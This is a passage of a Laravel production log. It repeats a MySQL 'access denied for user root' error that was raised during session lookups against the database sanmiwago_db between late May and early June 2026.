mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = plksKp42yD38m1pnjGzHH5hsZfOUo2eSoe2fp0KR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = plksKp42yD38m1pnjGzHH5hsZfOUo2eSoe2fp0KR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-24 13:15:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pnLV52nqyeBVDqzn41P4qvsjIESI0Aj89Dlc1pOZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pnLV52nqyeBVDqzn41P4qvsjIESI0Aj89Dlc1pOZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-24 19:18:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DA0G1utHqaxZ8HnQWPTN0GWAo7hkppFreLYpKluN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DA0G1utHqaxZ8HnQWPTN0GWAo7hkppFreLYpKluN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-24 22:11:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pbO6ocXteHqdXY0rtho9Q7sCs4guubFUkd04nn95 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pbO6ocXteHqdXY0rtho9Q7sCs4guubFUkd04nn95 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-25 13:31:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pueRu3Q7pRlSVuIzzlE2SQjaYVPBXF5xCewPpXee limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pueRu3Q7pRlSVuIzzlE2SQjaYVPBXF5xCewPpXee limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-26 06:13:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = grhefNg18irdR2ySh8I9Tic5Bweu16v8J43sxxDJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = grhefNg18irdR2ySh8I9Tic5Bweu16v8J43sxxDJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-26 13:31:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yd2mjSqhJqV4jw6m9gZZz8utoiG0TvjEhqRiSouX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yd2mjSqhJqV4jw6m9gZZz8utoiG0TvjEhqRiSouX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-27 14:46:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hJZrJvViwQErOrABasAxGjje0aZZsxXbCtJPjlxW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hJZrJvViwQErOrABasAxGjje0aZZsxXbCtJPjlxW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-27 14:46:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n6D9QrCsyYJhdyn2LXPlrWTiMtgOT6nK7VzIpv2Z limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n6D9QrCsyYJhdyn2LXPlrWTiMtgOT6nK7VzIpv2Z limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-27 14:46:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DFtYJG6nbcVyzVN340q4Dcw5ORwlQEGfOZXcuSjQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DFtYJG6nbcVyzVN340q4Dcw5ORwlQEGfOZXcuSjQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-27 14:46:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aJpzAisv3cbVd4ergu3fg0fXSS7HeiUNniKMPx7j limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = aJpzAisv3cbVd4ergu3fg0fXSS7HeiUNniKMPx7j limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-28 05:23:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fAB1DGmU4zsjq8FDOiykHDTKDu2JyrEk0pzlP3B1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fAB1DGmU4zsjq8FDOiykHDTKDu2JyrEk0pzlP3B1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-28 07:13:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tzJi2Q0gF96qt5lIpwIvuQXU4siLNyoqteCQ2DkP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tzJi2Q0gF96qt5lIpwIvuQXU4siLNyoqteCQ2DkP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-29 02:13:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 05VKnBpG7A54ElNj8fBs6z9E7q3zLzvYNhkAfwNR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 05VKnBpG7A54ElNj8fBs6z9E7q3zLzvYNhkAfwNR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-29 03:44:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vz2qQXcdZ1WPghP2FqJ4KOyPPujpK7bc3fk0krWW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vz2qQXcdZ1WPghP2FqJ4KOyPPujpK7bc3fk0krWW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-29 21:25:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MJoJs1oWEtHlEYDYAIBCojuPb0c4DCTdHerfViJt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MJoJs1oWEtHlEYDYAIBCojuPb0c4DCTdHerfViJt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-29 22:41:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DJCdQ3uvwIXzcwSGV10yEYQAVyhBTsTMTxsfMbv1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DJCdQ3uvwIXzcwSGV10yEYQAVyhBTsTMTxsfMbv1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-31 00:01:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xk4xxzilOp9BzpxdojpF4aIIKgxHMkEwkTcUcb8O limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xk4xxzilOp9BzpxdojpF4aIIKgxHMkEwkTcUcb8O limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-31 04:01:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7lSeS9kbi8KENlVIv99Hn7srXNPlF5gRkKU4C1Wf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7lSeS9kbi8KENlVIv99Hn7srXNPlF5gRkKU4C1Wf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-31 04:02:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3aCJkWOQwgpMoxweVBgzYU5uEHPq0qFPoOpY3Zyc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3aCJkWOQwgpMoxweVBgzYU5uEHPq0qFPoOpY3Zyc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-31 09:19:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = S8FQLF4EtsFbNPXILiytev5lXsn2bH86xjPlcwSY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = S8FQLF4EtsFbNPXILiytev5lXsn2bH86xjPlcwSY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-01 11:58:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0iA9Dr09wBVeaGX6c2UqzMHiTaAHRe5BLbi6ayNF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0iA9Dr09wBVeaGX6c2UqzMHiTaAHRe5BLbi6ayNF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-02 09:56:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MrxEGkwvLXY7yD6jSbWXRNY28sJtrUESwHMTw7tt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MrxEGkwvLXY7yD6jSbWXRNY28sJtrUESwHMTw7tt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-02 22:22:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AKDyLRgzXsjeI6EtzU9VKXSElsJ2nEhXR2gayrGd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AKDyLRgzXsjeI6EtzU9VKXSElsJ2nEhXR2gayrGd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-03 07:33:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = w8ZcVQ4dcTKaiyVuC9jdZxokqxR8raMTZoOzvGWB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = w8ZcVQ4dcTKaiyVuC9jdZxokqxR8raMTZoOzvGWB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-04 04:15:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jaaOZQUVgivzdQmRfTslnkBio0SAfMLkhL3YuyDr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jaaOZQUVgivzdQmRfTslnkBio0SAfMLkhL3YuyDr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-06 02:36:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SYlpQuBxVOJdgOQEI3yhHoaxrC4lVErBj4pRPE39 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SYlpQuBxVOJdgOQEI3yhHoaxrC4lVErBj4pRPE39 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-06 06:48:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DIJCBSbFNowdDsQLKo0zH4zu7gIu2HuVkyCPsZbw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DIJCBSbFNowdDsQLKo0zH4zu7gIu2HuVkyCPsZbw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-06 11:25:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GYrhzVVpup9yYZApJYpzAOz0Fcyz9fMxLDyypNzq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GYrhzVVpup9yYZApJYpzAOz0Fcyz9fMxLDyypNzq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-06 13:26:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F1k7p7HErjhSmg4WgSFxXVDI8nlkDRiiQnylQ51U limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F1k7p7HErjhSmg4WgSFxXVDI8nlkDRiiQnylQ51U limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-06 18:19:04] production.ERROR: SQLSTATE[HY000] [1045] Access 